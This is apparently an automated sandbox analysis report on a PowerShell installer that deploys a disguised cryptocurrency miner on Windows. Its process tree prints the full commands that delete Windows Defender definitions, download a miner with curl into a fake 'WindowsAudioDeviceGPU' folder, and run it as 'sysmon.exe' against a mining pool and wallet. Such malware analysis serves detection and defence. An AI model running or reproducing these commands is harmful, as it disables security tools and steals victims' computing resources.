Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/11/2026, 08:51

General

  • Target
    inst.ps1
  • Size 12KB
  • Sample261113-kshpgshz6n
  • SHA256 b92ce11314c730062c67543f54fcae3099b30e67d035895618658abf57a134db
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 2 IoCs
  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Delays execution with timeout.exe 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\inst.ps1
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2580
    • C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /end /f /tn WindowsAudioServiceUpdate
      2⤵
        PID:1136
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /f /tn WindowsAudioServiceUpdate
        2⤵
          PID:1288
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /end /f /tn WindowsAudioFix
          2⤵
            PID:4588
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /delete /f /tn WindowsAudioFix
            2⤵
              PID:3892
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /end /f /tn AudioFix
              2⤵
                PID:2788
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /delete /f /tn AudioFix
                2⤵
                  PID:3008
                • C:\Program Files\Windows Defender\MpCmdRun.exe
                  "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                  2⤵
                  • Deletes Windows Defender Definitions
                  PID:2176
                • C:\Windows\system32\curl.exe
                  "C:\Windows\system32\curl.exe" -s -L -m 180 -A Mozilla/5.0 -o C:\ProgramData\WindowsAudioDeviceGPU\drivers_pack.zip https://github.com/doktor83/SRBMiner-Multi/releases/download/3.8.7/SRBMiner-Multi-3-8-7-win64.zip
                  2⤵
                    PID:5404
                  • C:\Program Files\Windows Defender\MpCmdRun.exe
                    "C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate
                    2⤵
                      PID:5348
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:4636
                    • C:\Windows\system32\wscript.exe
                      wscript.exe "C:\ProgramData\WindowsAudioDeviceGPU\hide.vbs"
                      1⤵
                      • Process spawned unexpected child process
                      • Executes a VBScript file via the Windows Script Host.
                      • Suspicious use of WriteProcessMemory
                      PID:1636
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\WindowsAudioDeviceGPU\start.bat"
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3008
                        • C:\Windows\system32\tasklist.exe
                          tasklist /FI "IMAGENAME eq sysmon.exe"
                          3⤵
                          • Discovers running processes
                          PID:4556
                        • C:\Windows\system32\find.exe
                          find /I "sysmon.exe"
                          3⤵
                            PID:4976
                          • C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe
                            "C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe" --disable-cpu --algorithm pearlhash --pool prl-ae.kryptex.network:7048 --wallet prl1pvnuq2eplezdzay9lv3a8fhjk40csl44juxekv53c80wusa8sf77q5uxavt.SZAPMTOP --log-file miner.log
                            3⤵
                            • Executes dropped EXE
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Reads the TCP/IP host and domain name from the registry
                            • Suspicious use of WriteProcessMemory
                            PID:1756
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c set
                              4⤵
                              • Executes a command shell one-liner
                              PID:2476
                          • C:\Windows\system32\timeout.exe
                            timeout /t 60 /nobreak
                            3⤵
                            • Delays execution with timeout.exe
                            PID:5852
                          • C:\Windows\system32\tasklist.exe
                            tasklist /FI "IMAGENAME eq sysmon.exe"
                            3⤵
                            • Discovers running processes
                            PID:5596
                          • C:\Windows\system32\find.exe
                            find /I "sysmon.exe"
                            3⤵
                              PID:4112
                            • C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe
                              "C:\ProgramData\WindowsAudioDeviceGPU\sysmon.exe" --disable-cpu --algorithm pearlhash --pool prl-ae.kryptex.network:7048 --wallet prl1pvnuq2eplezdzay9lv3a8fhjk40csl44juxekv53c80wusa8sf77q5uxavt.SZAPMTOP --log-file miner.log
                              3⤵
                              • Executes dropped EXE
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Reads the TCP/IP host and domain name from the registry
                              • Suspicious use of WriteProcessMemory
                              PID:4884
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c set
                                4⤵
                                • Executes a command shell one-liner
                                PID:5888
                            • C:\Windows\system32\timeout.exe
                              timeout /t 60 /nobreak
                              3⤵
                              • Delays execution with timeout.exe
                              PID:2168

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              Enable-Huge-Pages-Windows.txt

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\Help\Enable-Huge-Pages-Windows.txt
                              • Size 879B
                              • SHA256 8b715d72e8578a055453b4e541d7898e7c91dd9df08d01a2bb4ac63d9d28d678
                              • MD5 SHA1 SHA512 TLSH

                              ReadMe.txt

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\ReadMe.txt
                              • Size 8KB
                              • SHA256 ba20eb0c0f5fd17f998e245e075a051ee7e5df734dab8adf6b079d4893e0a47f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              SRBMiner-MULTI.exe

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\SRBMiner-MULTI.exe
                              • Size 27.7MB
                              • SHA256 dde3740fd6ee9e7fd3832edd98c9fb838df2344ef05b5ecbcd87997dfb5d3348
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              WinRing0x64.sys

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\WinRing0x64.sys
                              • Size 14KB
                              • SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              guided-setup.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\guided-setup.bat
                              • Size 59B
                              • SHA256 cedb250d2b0e9196cacafdae81594decdb15aff2f94bfbcdd754e171930fde40
                              • MD5 SHA1 SHA512 TLSH

                              help.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\help.bat
                              • Size 58B
                              • SHA256 e4b3bd7817ec698a4309f677ab8d70710abd113be79ab76f5d717b3cbcb08f71
                              • MD5 SHA1 SHA512 TLSH

                              list-algorithms.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\list-algorithms.bat
                              • Size 69B
                              • SHA256 f7b6ec3153a976d27ab067921093b1ff08c08b5389c3c04c13ebbe659ac731dd
                              • MD5 SHA1 SHA512 TLSH

                              list-gpu-devices.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\list-gpu-devices.bat
                              • Size 66B
                              • SHA256 2db32494dd305bbda0fd83d54b2045e8e6060e9127832dbd949d3ce4a1b26ff4
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-adventurecoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-adventurecoin.bat
                              • Size 139B
                              • SHA256 8a1da84ca46be6c3e4211348ae91f88c8d9906f0aac6ca4f859b4e98ce884ea3
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-c64.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-c64.bat
                              • Size 258B
                              • SHA256 40e8618b2b97b66b9bfef8feb02072d3648deb81e5daf6921ef80c9a62a72d0e
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-corecoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-corecoin.bat
                              • Size 269B
                              • SHA256 d55c6bc210231712a16484f640a317f6c4a176c56b132e528d436aa13e275fa3
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-csd.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-csd.bat
                              • Size 136B
                              • SHA256 5aefea76ee3c66f856e4ba378e44d1a6648c7a2675604fafa747d827393acfe0
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-decred.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-decred.bat
                              • Size 320B
                              • SHA256 31780761442d458c5c54b7c92d4b65b77182258aeafecf7e030ffa0a184c855b
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-dragonx.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-dragonx.bat
                              • Size 129B
                              • SHA256 16030d12df4149be66430741ad2da56627bfdd8bfc474b4203c183071aacec66
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-epiccash-and-ergo.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-ergo.bat
                              • Size 416B
                              • SHA256 dc7530d80b56c081ed526b226816fd40ba4f82a73e03a471bebb560a07ef169a
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-epiccash-and-monero.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-monero.bat
                              • Size 235B
                              • SHA256 9a1b828723311af2e7a507e9828cfc9a3341d218a579ef55576306255359f20d
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-epiccash-and-xelis.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-epiccash-and-xelis.bat
                              • Size 243B
                              • SHA256 45d0c418f74be10f6af973a28bfd627151a643661fa9dfd67e44b3989155e994
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-equitypay.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-equitypay.bat
                              • Size 148B
                              • SHA256 e2d3488efc311ac06e614986bb554bff25a0343fb800414545e08b4d89432073
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-ergo-and-decred.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo-and-decred.bat
                              • Size 407B
                              • SHA256 f3a975b3776b3b14072d61e558fe12be65238e6908abbae9c4381e983dcb61b3
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-ergo-and-qubit.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo-and-qubit.bat
                              • Size 379B
                              • SHA256 b07fa76b3b73011bf6ccbaaed4f4e3934916999f041b1b2cde8d8d3ce470353e
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-ergo.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ergo.bat
                              • Size 311B
                              • SHA256 ec975ef99d012cc0ea9970faca2dadb6b3a6bd9b9dc751bec4a6a2bf4b2a004e
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-etc-and-decred.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-etc-and-decred.bat
                              • Size 400B
                              • SHA256 950765579e537c64fabd4dc589dc9c90f12b9ac36b4b53d6d63987f0cb680d38
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-etc.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-etc.bat
                              • Size 300B
                              • SHA256 b07d8afa78fdddcbaa3512459ba59b28def0969b14f25f10d6c83e144ae5c62d
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-evrmore.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-evrmore.bat
                              • Size 310B
                              • SHA256 7412d526c62ff4c84569b2279345d3a189f7c5b5fd61a2fc06468f57f5317d6b
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-interchained.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-interchained.bat
                              • Size 145B
                              • SHA256 61b545c17bd70284e0796befe670e090958e0012bbd0ce4ec8fb567590c8209a
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-ironfish-and-decred.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish-and-decred.bat
                              • Size 615B
                              • SHA256 87231abfdb44eba6907699d2f588f35be8a9e220efb8d6e4d34efb6794077069
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-ironfish-and-qubit.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish-and-qubit.bat
                              • Size 382B
                              • SHA256 f67730f99df81c36a774108bac38cae941a256ad2e3e36fb076abdd15347e58c
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-ironfish.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-ironfish.bat
                              • Size 312B
                              • SHA256 f7311374966482a5492eaef24e375ce875a5b9a62adb87b3361d81a500f7068a
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-junocash.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-junocash.bat
                              • Size 261B
                              • SHA256 6fb432f83fe4b4aac3fb778b95716dfb27c6d96aa458d84a98d68dcba5b2735f
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-kiiro.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-kiiro.bat
                              • Size 302B
                              • SHA256 e02a2cb2a59519682cf62bcd218a45bd14fdc41d07a90e6fa25b2185796eae58
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-kyla.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-kyla.bat
                              • Size 129B
                              • SHA256 189d81698d9bca33ff9809724555f71c1d5b9d1069cd7cac110d4867e798414d
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-litecoincash.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-litecoincash.bat
                              • Size 152B
                              • SHA256 bfe59892220d607df989303af6ec7ec5db36c2db22ae31eb0b02b0cfd41de038
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-meowcoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-meowcoin.bat
                              • Size 322B
                              • SHA256 8375606357bf8b690903d19b6955b7be4cd822592486dfdafd69e3957449e3a7
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-microbitcoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-microbitcoin.bat
                              • Size 135B
                              • SHA256 0529ab34fa648bb3da06af7977a31a2e0927603dc944006d9ebc4c91bb3448fd
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-minersworldcoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-minersworldcoin.bat
                              • Size 129B
                              • SHA256 22b0e2feb825c17391355ab67312a048664b52d1e70bc95cb880f19fb07af249
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-monero.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-monero.bat
                              • Size 137B
                              • SHA256 fc5d536b8ec665886ad24df1222ff48dabda7731ca1068be956c7e799a704a4e
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-oggpow.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-oggpow.bat
                              • Size 294B
                              • SHA256 e951986351b610fa2e9d3e3a36e36130c9b2f16d4180fc464f9da623fb03547b
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-parallax-and-decred.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax-and-decred.bat
                              • Size 228B
                              • SHA256 2c5ea7d664b74468c528f9f72dd931926e6b2bdd27dbed98f00fbb086d39de67
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-parallax-and-qubit.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax-and-qubit.bat
                              • Size 200B
                              • SHA256 22414c8ae2f1ed25390492a371ceaab296beb132edcb70b0c7ec863c6b9f29ec
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-parallax.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parallax.bat
                              • Size 130B
                              • SHA256 d812857fed82de6c3b9b7499c183de65463b27f6f9885b24bbfb532828e06f7b
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-parano1d.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-parano1d.bat
                              • Size 128B
                              • SHA256 79f685b8074022e0a077f55fdf19976eda824567213af410abdf1291ca9227c3
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-pcoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-pcoin.bat
                              • Size 122B
                              • SHA256 a64819f88c12fba1adaf12886eb4aab1f64d2c9b6e55ce3dfb12a00a5ab9ce98
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-pearl.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-pearl.bat
                              • Size 212B
                              • SHA256 854575c7b0778898c7344b044c8aa6005cf030ff5225588f26bfc93663b724ea
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-phicoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-phicoin.bat
                              • Size 131B
                              • SHA256 8418555089e98327fcea0f192edf91ec1ca786512f2a528ef8800ef9ac6232b6
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-quai.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-quai.bat
                              • Size 313B
                              • SHA256 b7d7b010964fbabf9758c0a6a7f38f409e96a8f7e336eddb6f2eb8481d9e48f3
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-quantus.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-quantus.bat
                              • Size 135B
                              • SHA256 1c6243289c5869b1acc54888db68a0a748d912cfe25d25082a86a9886af23a64
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-qubit.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-qubit.bat
                              • Size 292B
                              • SHA256 01523098e7fe92539707deee689eff46f88cf8d263ed0f63658797f638530637
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-raven.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-raven.bat
                              • Size 306B
                              • SHA256 23f56d3607fe4deac72eabe417b4f3797a791944cb3474ef80339daa02815a92
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-scash.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-scash.bat
                              • Size 137B
                              • SHA256 38c61072122441c9996741778a269a6beb73f4cd8c3cc0d874676ebaa0688ac1
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-vertcoin.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-vertcoin.bat
                              • Size 306B
                              • SHA256 290baaa87cb0d1defc520049cd4eb3b9d8755b4ec78f70b26a94d7820e93b6e5
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-verus.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-verus.bat
                              • Size 143B
                              • SHA256 9135a3f44d11f9ac39cf3fb71e9aaa6f41b6202077b41803c7b876f279d35b02
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-xelis.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-xelis.bat
                              • Size 321B
                              • SHA256 faa42060bf8356712bda3589a209e53902081c8abe5eb07c44bc8d38ca14729e
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-xna.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-xna.bat
                              • Size 304B
                              • SHA256 735fa474212b035cae0731204e0b07de51794f25ab4d81d90a5025adfb2c4922
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-yespowertide.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-yespowertide.bat
                              • Size 129B
                              • SHA256 a4445e8b8c5649344ce191259ef685888cf2028ffed655676b6ec344ddea70fb
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-zano.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-zano.bat
                              • Size 302B
                              • SHA256 d9a27e06b0d71be39f2eab9eb5e6bebfa823352fe0b5428c17576537ffc2c9cd
                              • MD5 SHA1 SHA512 TLSH

                              start-mining-zerqavon.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\SRBMiner-Multi-3-8-7\start-mining-zerqavon.bat
                              • Size 132B
                              • SHA256 67a8652211df908faa48a8f140a094fd119f7bc64ae2c65bda06bc0999f5ed2c
                              • MD5 SHA1 SHA512 TLSH

                              drivers_pack.zip

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\drivers_pack.zip
                              • Size 27.5MB
                              • SHA256 cbfc6fa4daf22641e0f845922f8fbccff7ff1dc144af7316061bca06b76cfb1f
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              hide.vbs

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\hide.vbs
                              • Size 107B
                              • SHA256 702d2f0dc13d6891971b14f1e42d6d78049d2c75b61c802dfe396e21f46f0624
                              • MD5 SHA1 SHA512 TLSH

                              start.bat

                              • Path C:\ProgramData\WindowsAudioDeviceGPU\start.bat
                              • Size 558B
                              • SHA256 46009b747fcc2b3dd84c2f395c087d7a53d513a45496048e4bb48cf7a9c2628e
                              • MD5 SHA1 SHA512 TLSH

                              89986B561565BD40CD252D2331D4559C

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\89986B561565BD40CD252D2331D4559C
                              • Size 310B
                              • SHA256 aafcc6d8a455a7dce3e5e0e74b62ce43b25cdc9e2f721cca82eb36e7950a0e5e
                              • MD5 SHA1 SHA512 TLSH

                              8B2B9A00839EED1DFDCCC3BFC2F5DF12

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                              • Size 1KB
                              • SHA256 791735e52af30a1c6a750df3837784a34cfe763332e5b45acfd731ddaa159b83
                              • MD5 SHA1 SHA512 TLSH

                              B46811C17859FFB409CF0E904A4AA8F8

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                              • Size 529B
                              • SHA256 39c727d70b8bdf5fc324233d0823555eb66ce846119609a22d1cebedbc3cf80c
                              • MD5 SHA1 SHA512 TLSH

                              89986B561565BD40CD252D2331D4559C

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\89986B561565BD40CD252D2331D4559C
                              • Size 192B
                              • SHA256 a641ee7151995ec7e6df1c7bbce67892975457f1951dfa8c0c8e2f1425c1fa65
                              • MD5 SHA1 SHA512 TLSH

                              8B2B9A00839EED1DFDCCC3BFC2F5DF12

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                              • Size 174B
                              • SHA256 258659886b7da4455db1c220f3b47e817f735f223563c62ec5ea38440cdc2ead
                              • MD5 SHA1 SHA512 TLSH

                              B46811C17859FFB409CF0E904A4AA8F8

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                              • Size 170B
                              • SHA256 8580d587fb6c17de165ff2bc0645245e1f259739c2d89630557551d4c5648270
                              • MD5 SHA1 SHA512 TLSH

                              MpCmdRun.log

                              • Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
                              • Size 2KB
                              • SHA256 090a201b98d16eb284885d710f7ec5c960a147c9f1d9821061e0b1d5d0ad0228
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_faa4fz1t.okn.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_faa4fz1t.okn.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              memory/1756-405-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/1756-407-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/1756-421-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/1756-411-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/1756-409-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/1756-410-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/1756-408-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/1756-406-0x00007FF6EA350000-0x00007FF6ED2E7000-memory.dmp

                              memory/2580-3-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-395-0x000002352F0F0000-0x000002352F0FA000-memory.dmp

                              memory/2580-11-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-10-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-9-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-8-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-7-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-6-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-24-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-1-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-2-0x0000023516070000-0x0000023516092000-memory.dmp

                              memory/2580-25-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-378-0x000002352EC20000-0x000002352EC2E000-memory.dmp

                              memory/2580-379-0x000002352F090000-0x000002352F0AA000-memory.dmp

                              memory/2580-380-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-381-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-382-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

                              memory/2580-383-0x00007FFC634E0000-0x00007FFC63E84000-memory.dmp

